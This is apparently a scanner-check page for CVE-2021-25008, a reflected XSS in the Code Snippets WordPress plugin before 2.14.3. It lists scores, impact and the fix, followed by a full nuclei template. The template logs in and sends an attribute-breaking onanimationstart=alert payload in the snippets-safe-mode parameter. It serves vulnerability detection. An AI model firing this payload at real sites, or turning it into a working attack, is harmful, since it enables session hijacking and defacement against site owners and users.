The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D
Positive when: contains "\" style=animation-name:rotation onanimationstart=alert(docu…" and "Snippets" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25008 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25008

info:
  name: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25008
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25008
    cwe-id: CWE-79
    epss-score: 0.02258
    epss-percentile: 0.83115
    cpe: cpe:2.3:a:codesnippets:code_snippets:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codesnippets
    product: code_snippets
    framework: wordpress
  tags: cve,cve2021,authenticated,wpscan,xss,wp,wordpress,wp-plugin,codesnippets,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "Snippets"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from